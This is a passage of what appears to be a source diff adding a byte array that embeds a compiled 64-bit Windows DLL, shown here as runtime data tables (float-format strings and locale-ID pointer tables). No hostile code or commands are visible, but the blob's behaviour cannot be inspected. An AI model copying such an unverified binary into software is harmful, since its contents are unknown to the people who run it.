0x79, 0xae, 0x24, 0xde, 0x0e, 0x00, 0x00, + 0x00, 0x00, 0x64, 0x41, 0xc1, 0x9a, 0x88, 0xd5, 0x99, 0x2c, 0x43, 0xd9, + 0x1a, 0xe7, 0x80, 0xa2, 0x2e, 0x3d, 0xf6, 0x6b, 0x3d, 0x79, 0x49, 0x82, + 0x43, 0xa9, 0xe7, 0x79, 0x4a, 0xe6, 0xfd, 0x22, 0x9a, 0x70, 0xd6, 0xe0, + 0xef, 0xcf, 0xca, 0x05, 0xd7, 0xa4, 0x8d, 0xbd, 0x6c, 0x00, 0x64, 0xe3, + 0xb3, 0xdc, 0x4e, 0xa5, 0x6e, 0x08, 0xa8, 0xa1, 0x9e, 0x45, 0x8f, 0x74, + 0xc8, 0x54, 0x8e, 0xfc, 0x57, 0xc6, 0x74, 0xcc, 0xd4, 0xc3, 0xb8, 0x42, + 0x6e, 0x63, 0xd9, 0x57, 0xcc, 0x5b, 0xb5, 0x35, 0xe9, 0xfe, 0x13, 0x6c, + 0x61, 0x51, 0xc4, 0x1a, 0xdb, 0xba, 0x95, 0xb5, 0x9d, 0x4e, 0xf1, 0xa1, + 0x50, 0xe7, 0xf9, 0xdc, 0x71, 0x7f, 0x63, 0x07, 0x2b, 0x9f, 0x2f, 0xde, + 0x9d, 0x22, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x89, 0xbd, 0x5e, 0x3c, + 0x56, 0x37, 0x77, 0xe3, 0x38, 0xa3, 0xcb, 0x3d, 0x4f, 0x9e, 0xd2, 0x81, + 0x2c, 0x9e, 0xf7, 0xa4, 0x74, 0xc7, 0xf9, 0xc3, 0x97, 0xe7, 0x1c, 0x6a, + 0x38, 0xe4, 0x5f, 0xac, 0x9c, 0x8b, 0xf3, 0x07, 0xfa, 0xec, 0x88, 0xd5, + 0xac, 0xc1, 0x5a, 0x3e, 0xce, 0xcc, 0xaf, 0x85, 0x70, 0x3f, 0x1f, 0x9d, + 0xd3, 0x6d, 0x2d, 0xe8, 0x0c, 0x18, 0x7d, 0x17, 0x6f, 0x94, 0x69, 0x5e, + 0xe1, 0x2c, 0x8e, 0x64, 0x48, 0x39, 0xa1, 0x95, 0x11, 0xe0, 0x0f, 0x34, + 0x58, 0x3c, 0x17, 0xb4, 0x94, 0xf6, 0x48, 0x27, 0xbd, 0x57, 0x26, 0x7c, + 0x2e, 0xda, 0x8b, 0x75, 0xa0, 0x90, 0x80, 0x3b, 0x13, 0xb6, 0xdb, 0x2d, + 0x90, 0x48, 0xcf, 0x6d, 0x7e, 0x04, 0xe4, 0x24, 0x99, 0x50, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, + 0x02, 0x00, 0x00, 0x03, 0x05, 0x00, 0x00, 0x04, 0x09, 0x00, 0x01, 0x04, + 0x0d, 0x00, 0x01, 0x05, 0x12, 0x00, 0x01, 0x06, 0x18, 0x00, 0x02, 0x06, + 0x1e, 0x00, 0x02, 0x07, 0x25, 0x00, 0x02, 0x08, 0x2d, 0x00, 0x03, 0x08, + 0x35, 0x00, 0x03, 0x09, 0x3e, 0x00, 0x03, 0x0a, 0x48, 0x00, 0x04, 0x0a, + 0x52, 0x00, 0x04, 0x0b, 0x5d, 0x00, 0x04, 0x0c, 0x69, 0x00, 0x05, 0x0c, + 0x75, 0x00, 0x05, 0x0d, 0x82, 0x00, 0x05, 0x0e, 0x90, 0x00, 0x05, 0x0f, + 0x9f, 0x00, 0x06, 0x0f, 0xae, 0x00, 0x06, 0x10, 0xbe, 0x00, 0x06, 0x11, + 0xcf, 0x00, 0x07, 0x11, 0xe0, 0x00, 0x07, 0x12, 0xf2, 0x00, 0x07, 0x13, + 0x05, 0x01, 0x08, 0x13, 0x18, 0x01, 0x08, 0x15, 0x2d, 0x01, 0x08, 0x16, + 0x43, 0x01, 0x09, 0x16, 0x59, 0x01, 0x09, 0x17, 0x70, 0x01, 0x09, 0x18, + 0x88, 0x01, 0x0a, 0x18, 0xa0, 0x01, 0x0a, 0x19, 0xb9, 0x01, 0x0a, 0x1a, + 0xd3, 0x01, 0x0a, 0x1b, 0xee, 0x01, 0x0b, 0x1b, 0x09, 0x02, 0x0b, 0x1c, + 0x25, 0x02, 0x0b, 0x1d, 0x0a, 0x00, 0x00, 0x00, 0x64, 0x00, 0x00, 0x00, + 0xe8, 0x03, 0x00, 0x00, 0x10, 0x27, 0x00, 0x00, 0xa0, 0x86, 0x01, 0x00, + 0x40, 0x42, 0x0f, 0x00, 0x80, 0x96, 0x98, 0x00, 0x00, 0xe1, 0xf5, 0x05, + 0x00, 0xca, 0x9a, 0x3b, 0x30, 0x00, 0x00, 0x00, 0x31, 0x23, 0x49, 0x4e, + 0x46, 0x00, 0x00, 0x00, 0x31, 0x23, 0x51, 0x4e, 0x41, 0x4e, 0x00, 0x00, + 0x31, 0x23, 0x53, 0x4e, 0x41, 0x4e, 0x00, 0x00, 0x31, 0x23, 0x49, 0x4e, + 0x44, 0x00, 0x00, 0x00, 0x75, 0x00, 0x6b, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x10, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x66, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x20, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x28, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0x66, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x40, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x48, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0x66, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x58, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x60, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x0b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0x66, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x70, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x0d, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x78, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x0e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x66, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x88, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x90, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x98, 0x66, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xa0, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x13, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xa8, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb0, 0x66, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x15, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xb8, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xc0, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc8, 0x66, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x19, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xd0, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x1a, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xd8, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x1b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x66, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x1c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xe8, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x1d, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xf0, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x1e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x66, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x08, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x21, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x67, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x22, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xc0, 0x57, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x23, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x18, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x67, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x25, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x28, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x26, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x30, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x27, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0x67, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x29, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x40, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x48, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x2b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0x67, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x2c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x58, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x2d, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x60, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x2f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0x67, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x36, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x70, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x37, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x78, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x67, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x39, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x88, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x3e, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x90, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x3f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x98, 0x67, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xa0, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x41, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xa8, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x43, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb0, 0x67, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x44, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xb8, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x46, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xc0, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x47, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc8, 0x67, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x49, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xd0, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x4a, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xd8, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x4b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x67, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x4e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xe8, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x4f, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xf0, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x67, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x56, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x68, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x57, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x08, 0x68, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x5a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x68, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x18, 0x68, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x7f, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x20, 0x68, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x01, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x68, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x02, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x38, 0x68, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x03, 0x04, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x48, 0x68, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x04, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x4d, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x05, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x58, 0x68, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x06, 0x04, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x68, 0x68, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x07, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x68, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x08, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x88, 0x68, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x09, 0x04, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xb0, 0x41, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x0b, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x98, 0x68, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x0c, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xa8, 0x68, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x0d, 0x04, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xb8, 0x68, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x0e, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc8, 0x68, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x0f, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xd8, 0x68, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x10, 0x04, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xe8, 0x68, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x11, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x4d, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x12, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xb0, 0x4d, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x13, 0x04, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xf8, 0x68, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x14, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x69, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x15, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x18, 0x69, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x16, 0x04, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x28, 0x69, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x18, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0x69, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x19, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x48, 0x69, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x1a, 0x04, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x58, 0x69, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x1b, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0x69, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x1c, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x78, 0x69, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x1d, 0x04, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x88, 0x69, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x1e, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x98, 0x69, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x1f, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xa8, 0x69, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x20, 0x04, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xb8, 0x69, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x21, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc8, 0x69, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x22, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xd8, 0x69, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x23, 0x04, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xe8, 0x69, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x24, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x69, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x25, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x08, 0x6a, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x26, 0x04, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x18, 0x6a, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x27, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x6a, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x29, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x38, 0x6a, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x2a, 0x04, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x48, 0x6a, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x2b, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x58, 0x6a, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x2c, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x68, 0x6a, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x2d, 0x04, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x80, 0x6a, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x2f, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x6a, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x32, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xa0, 0x6a, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x34, 0x04, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xb0, 0x6a, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x35, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x6a, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x36, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xd0, 0x6a, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x37, 0x04, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xe0, 0x6a, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x38, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x6a, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x39, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x6b, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x3a, 0x04, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x10, 0x6b, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x3b, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x6b, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x3e, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x30, 0x6b, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x3f, 0x04, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x40, 0x6b, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x40, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0x6b, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x41, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x60, 0x6b, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x43, 0x04, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x70, 0x6b, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x44, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0x6b, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x45, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x98, 0x6b, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x46, 0x04, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xa8, 0x6b, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x47, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb8, 0x6b, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x49, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xc8, 0x6b, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x4a, 0x04, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xd8, 0x6b, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x4b, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe8, 0x6b, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x4c, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xf8, 0x6b, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x4e, 0x04, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x08, 0x6c, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x4f, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x6c, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x50, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x28, 0x6c, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x52, 0x04, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x38, 0x6c, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x56, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x6c, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x57, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x58, 0x6c, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x5a, 0x04, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x68, 0x6c, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x65, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x6c, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x6b, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x88, 0x6c, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x6c, 0x04, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x98, 0x6c, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x81, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa8, 0x6c, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x01, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xb8, 0x6c, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x04, 0x08, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xa0, 0x4d, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x07, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc8, 0x6c, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x09, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xd8, 0x6c, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x0a, 0x08, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xe8, 0x6c, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x0c, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x6c, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x10, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x08, 0x6d, 0x01, 0x80, 0x01, 0x00, 